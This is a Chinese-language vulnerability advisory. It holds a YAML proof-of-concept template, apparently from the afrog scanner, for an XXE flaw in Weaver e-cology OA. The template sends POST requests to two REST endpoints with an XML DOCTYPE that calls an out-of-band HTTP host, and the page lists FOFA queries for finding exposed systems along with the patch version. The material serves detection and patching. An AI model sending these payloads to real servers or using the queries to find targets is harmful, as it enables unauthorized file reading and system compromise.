ecology-oa-deleteuserrequestinfobyxml-xxe: 泛微 OA deleteUserRequestInfoByXml XXE

日期: 2025-09-01 | 影响软件: 泛微OA | POC: 已公开

漏洞描述

泛微e-cology某处功能点最初针对用户输入的过滤不太完善，导致在处理用户输入时可触发XXE。后续修复规则依旧可被绕过，本次漏洞即为之前修复规则的绕过。攻击者可利用该漏洞列目录、读取文件，甚至可能获取应用系统的管理员权限。 e-cology 9.x 增量补丁版本 < 10.58.1 FOFA: app="泛微-协同商务系统" FOFA: app="泛微-协同办公OA"

PoC代码[已公开]

id: ecology-oa-deleteuserrequestinfobyxml-xxe

info:
  name: 泛微 OA deleteUserRequestInfoByXml XXE
  author: xpoc
  severity: high
  verified: true
  description: |
    泛微e-cology某处功能点最初针对用户输入的过滤不太完善，导致在处理用户输入时可触发XXE。后续修复规则依旧可被绕过，本次漏洞即为之前修复规则的绕过。攻击者可利用该漏洞列目录、读取文件，甚至可能获取应用系统的管理员权限。
    e-cology 9.x 增量补丁版本 < 10.58.1
    FOFA: app="泛微-协同商务系统"
    FOFA: app="泛微-协同办公OA"
  solutions: 安装增量补丁10.58.1，使用10.58.1全量补丁修复无效。
  reference:
    - https://mp.weixin.qq.com/s/YT64vy3tbAoxj6CQ7XWgUA
    - https://mp.weixin.qq.com/s/nqGZL2Ny6m9wrNqlWqu4-Q
    - https://mp.weixin.qq.com/s/6p7-R5_VOeDUUobMuqYGcA
    - https://stack.chaitin.com/tool/detail?id=1036
  tags: ecology,oa,xxe
  created: 2023/07/12

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: POST
      path: /rest/ofs/deleteUserRequestInfoByXml
      headers:
        Content-Type: application/xml
      body: |
        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE syscode SYSTEM "{{oobHTTP}}">
        <M><syscode>&send;</syscode></M>
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
  r1:
    request:
      method: POST
      path: /rest/ofs/ReceiveCCRequestByXml
      headers:
        Content-Type: application/xml
      body: |
        <?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE syscode SYSTEM "{{oobHTTP}}">
        <M><syscode>&send;</syscode></M>
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0() || r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/ecology-oa-deleteuserrequestinfobyxml-xxe.yaml

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